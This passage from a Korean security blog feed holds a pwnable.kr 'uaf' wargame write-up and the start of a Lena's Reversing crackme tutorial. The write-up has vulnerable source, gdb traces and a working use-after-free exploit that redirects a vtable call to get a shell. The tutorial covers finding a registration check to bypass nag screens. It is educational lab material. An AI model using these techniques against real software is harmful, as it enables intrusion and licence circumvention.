                        case 1:
                                m-&amp;gt;introduce();
                                w-&amp;gt;introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout &amp;lt;&amp;lt; &quot;your data is allocated&quot; &amp;lt;&amp;lt; endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;소스를 살펴보면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;Human&lt;/b&gt; 클래스에서 상속받는&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;Man, Woman&lt;/b&gt; 클래스가 존재하고&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;Human&lt;/b&gt; 클래스 멤버함수 중에는&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;system&lt;/b&gt; 함수를 통해 쉘을 부여해주는&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;give_shell&lt;/b&gt;&amp;nbsp;함수가 존재합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그리고 사용자 입력을 받아&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;자유롭게 &lt;b&gt;use&amp;nbsp;after&amp;nbsp;free&lt;/b&gt; 과정을 수행할 수 있고&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;use 과정 내에서 멤버함수인&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;introduce&lt;/b&gt;를 호출하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이를 조작하여&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;give_shell&lt;/b&gt; 함수를 호출하도록 하면 되겠네요.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;0x0000000000400fcd &amp;lt;+265&amp;gt;:   mov    rax,QWORD PTR [rbp-0x38]			    ; case 1
0x0000000000400fd1 &amp;lt;+269&amp;gt;:   mov    rax,QWORD PTR [rax]
0x0000000000400fd4 &amp;lt;+272&amp;gt;:   add    rax,0x8
0x0000000000400fd8 &amp;lt;+276&amp;gt;:   mov    rdx,QWORD PTR [rax]
0x0000000000400fdb &amp;lt;+279&amp;gt;:   mov    rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf &amp;lt;+283&amp;gt;:   mov    rdi,rax
0x0000000000400fe2 &amp;lt;+286&amp;gt;:   call   rdx									; m-&amp;gt;introduce()
0x0000000000400fe4 &amp;lt;+288&amp;gt;:   mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 &amp;lt;+292&amp;gt;:   mov    rax,QWORD PTR [rax]
0x0000000000400feb &amp;lt;+295&amp;gt;:   add    rax,0x8
0x0000000000400fef &amp;lt;+299&amp;gt;:   mov    rdx,QWORD PTR [rax]
0x0000000000400ff2 &amp;lt;+302&amp;gt;:   mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 &amp;lt;+306&amp;gt;:   mov    rdi,rax
0x0000000000400ff9 &amp;lt;+309&amp;gt;:   call   rdx									; w-&amp;gt;introduce()
0x0000000000400ffb &amp;lt;+311&amp;gt;:   jmp    0x4010a9 &amp;lt;main+485&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;gdb&lt;/b&gt;에서 어셈블리로 변환하여 살피면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;rbp-0x38&lt;/b&gt; 에 저장된 주소에서&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;다시 저장된 주소를 이중으로 참조하여&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;주소에 8을 더하여&amp;nbsp;호출합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;주소를 가져오는 과정을&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;실제로 살펴보겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) b *main+265
Breakpoint 1 at 0x400fcd
(gdb) r
Starting program: /home/uaf/uaf
1. use
2. after
3. free
1

Breakpoint 1, 0x0000000000400fcd in main ()
(gdb) x/a $rbp-0x38
0x7ffec6e7b388: 0x1391c50
(gdb) x/a 0x1391c50
0x1391c50:      0x401570 &amp;lt;_ZTV3Man+16&amp;gt;
(gdb) x/a 0x401570
0x401570 &amp;lt;_ZTV3Man+16&amp;gt;: 0x40117a &amp;lt;_ZN5Human10give_shellEv&amp;gt;
(gdb) x/a 0x401570 + 0x8
0x401578 &amp;lt;_ZTV3Man+24&amp;gt;: 0x4012d2 &amp;lt;_ZN3Man9introduceEv&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;case 1&lt;/b&gt; 의 앞부분에 브레이크 포인트를 걸어준 후 이동해서&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;rbp-0x38&lt;/b&gt; 을 확인하니 &lt;b&gt;0x1391c50&lt;/b&gt; 이 나왔고&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;다시 참조하니 &lt;b&gt;0x401570&lt;/b&gt; 이 나왔습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;0x401570&lt;/b&gt;이 우리의 목표인 &lt;b&gt;give_shell&lt;/b&gt; 함수 주소인데&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;거기에서 8을 더하여 호출하니&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;0x401578&lt;/b&gt; 내의 &lt;b&gt;introduce&lt;/b&gt; 함수가 호출되는 것입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;0x401570 - 0x8 = 0x401568&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;8을 더하는 것은 확정된 사항이므로&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;참조 주소를 &lt;b&gt;0x401570&lt;/b&gt; 에서 8을 뺀&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;0x401568&lt;/b&gt; 으로 변경해 주면 되겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;case 2:
		len = atoi(argv[1]);
		data = new char[len];
		read(open(argv[2], O_RDONLY), data, len);
		cout &amp;lt;&amp;lt; &quot;your data is allocated&quot; &amp;lt;&amp;lt; endl;
		break;&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;case 2&lt;/b&gt; 를 확인해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;바이너리 실행시의 인자를 통해&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;할당할 메모리 크기와&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;내용을 읽어올 파일을 자유롭게&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;지정할 수 있도록 하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;python -c &quot;print 'a'*500&quot; &amp;gt; /tmp/input

b *main+65 		; new Man(&quot;Jack&quot;, 25)
b *main+154 		; new Woman(&quot;Jill&quot;, 21);
b *main+353 		; new char[len]&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 &lt;b&gt;tmp&lt;/b&gt; 폴더 내의 편한 경로에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;할당한 공간이라는 것을&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;구분할 수 있도록 적절히&amp;nbsp;내용을 저장해 두고&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;메모리를 할당하는 &lt;b&gt;new&lt;/b&gt; 함수 수행 직후에&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;브레이크 포인트를 걸어&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;실제로 할당된 주소가 어디인지 확인할 수 있도록 했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) r 100 /tmp/input
Starting program: /home/uaf/uaf 100 /tmp/input

Breakpoint 1, 0x0000000000400f05 in main ()
(gdb) i r eax
eax            0xa40c50 10751056&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; new Man

(gdb) c
Continuing.

Breakpoint 4, 0x0000000000400f63 in main ()
(gdb) i r eax
eax            0xa40ca0 10751136&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; new Woman

(gdb) c
Continuing.

1. use
2. after
3. free
3
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0xa414e0 10753248&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; new char[len]&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;메모리를 해제해 준 후&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;100 바이트&lt;/b&gt;의 메모리를 할당했는데&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;해제한 객체의&amp;nbsp;외부&amp;nbsp;주소가 할당되었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;이런 경우, 할당 메모리 크기를 조금씩 조정해주면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;직전 해제한 메모리 영역에 접근할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;(gdb) r 24 /tmp/input
Starting program: /home/uaf/uaf 24 /tmp/input

Breakpoint 1, 0x0000000000400f05 in main ()
(gdb) i r eax
eax            0x246bc50        38190160

(gdb) c
Continuing.

Breakpoint 4, 0x0000000000400f63 in main ()
(gdb) i r eax
eax            0x246bca0        38190240

(gdb) c
Continuing.

1. use
2. after
3. free
3
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0x246bca0        38190240

(gdb) c
Continuing.

your data is allocated
1. use
2. after
3. free
2

Breakpoint 2, 0x0000000000401025 in main ()
(gdb) i r eax
eax            0x246bc50        38190160&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;확인 결과 &lt;b&gt;24 바이트&lt;/b&gt; 이하의 메모리를 할당하면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;해제된 w의 영역을 얻을&amp;nbsp;수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그리고 재차 할당해주면&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;m의 영역을 가져옵니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;uaf@ubuntu:~$ printf &quot;\x68\x15\x40\x00&quot; &amp;gt; /tmp/input
uaf@ubuntu:~$ ./uaf 4 /tmp/input
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag  uaf  uaf.cpp
$ cat flag
###_####_#####_######&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;give_shell&lt;/b&gt; 함수의 주소에서 8을 뺀&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;0x00401568&lt;/b&gt; 주소로 덮어씌우고 &lt;b&gt;introduce&lt;/b&gt; 를 호출하여&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;쉘을 얻어낼 수 있었습니다.&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/80</guid>
      <comments>https://posix.tistory.com/80#entry80comment</comments>
      <pubDate>Tue, 19 Feb 2019 12:19:35 +0900</pubDate>
    </item>
    <item>
      <title>Lena's Reversing 10강 분석</title>
      <link>https://posix.tistory.com/79</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 304px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9966003D5C64FFC02B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9966003D5C64FFC02B&quot; width=&quot;304&quot; height=&quot;238&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;레나의 리버싱 10강 분석 포스팅입니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/999AB0445C64FFE026&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/zip.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;Lenas_Reversing_10.zip&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;바이너리는 &lt;a href=&quot;https://tuts4you.com/e107_plugins/download/download.php?list.17&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;이곳에서&lt;/a&gt; 받아보실 수 있는데&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;링크 사용이 되지 않는다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;위 첨부파일을 이용하시면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;만약 프로그램 실행시에&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;MSVBVM50.DLL 관련 오류가 발생한다면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;동봉된 프로그램을 사용하시기 바랍니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 473px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9930A33A5C64FFC00C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9930A33A5C64FFC00C&quot; width=&quot;473&quot; height=&quot;210&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램을 실행하면 &lt;b&gt;Nag Screen&lt;/b&gt; 이라는 이름으로&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;알림 메시지가 하나 뜹니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;모든 Nag(잔소리)를 제거하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;올바른 인증 코드를 찾아내라는 것인데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 304px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9966003D5C64FFC02B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9966003D5C64FFC02B&quot; width=&quot;304&quot; height=&quot;238&quot; filename=&quot;1.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;프로그램을 확인하면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;Register me!&lt;/b&gt;와&amp;nbsp;&lt;b&gt;Nag&lt;/b&gt;&amp;nbsp;2개의 버튼이 존재합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 344px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99697B4A5C64FFC022&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99697B4A5C64FFC022&quot; width=&quot;344&quot; height=&quot;230&quot; filename=&quot;3.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;첫번째 &lt;b&gt;Register me!&lt;/b&gt; 버튼을 눌러보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인증 키가 잘못되었다고 알려주는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 473px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9930A33A5C64FFC00C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9930A33A5C64FFC00C&quot; width=&quot;473&quot; height=&quot;210&quot; filename=&quot;2.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;두번째 Nag 버튼을 눌러보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;처음에 나온 내용과&amp;nbsp;완전히 동일한 메시지가 등장합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;아무래도 이 알림을 Nag 라고 하는 것 같습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 문제가 요구하는 것은&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;첫번쨰로 인증키를 찾아 인증에 성공하고&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Nag 버튼을 눌러도 알림창이&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;뜨지 않도록 하는 것이 되겠군요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 755px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BCD5355C64FFC119&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BCD5355C64FFC119&quot; width=&quot;755&quot; height=&quot;109&quot; filename=&quot;4.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;인증 함수의 빠른 탐색을 위해서&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;우클릭 &amp;gt; Search for &amp;gt; All referenced text strings&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;를 사용해, 참조 문자열들을 확인합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;그 중, 인증 실패시에 보였던&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;&quot;Sorry! Wrong registration code!&quot;&lt;/b&gt; 메시지가 보이니&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;더블클릭하여 주소를 따라가면 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 687px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9956423C5C64FFC125&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9956423C5C64FFC125&quot; width=&quot;687&quot; height=&quot;225&quot; filename=&quot;5.PNG&quot; filemime=&quot;image/png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;찾아낸 주소에서 위로 쭉 올려보면&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;베이스 포인터를 교환하는 전형적인&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;함수 시작 구문이 등장하는데요.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;따라서 이 곳이 &lt;b&gt;Register me!&lt;/b&gt; 의&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;클릭 이벤트 함수가 되겠습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 604px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99188C3F5C64FFC01B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99188C3F5C64FFC01B&quot; width=&quot;604&quot; height=&quot;82&quot; filename=&quot;6.PNG&quot; 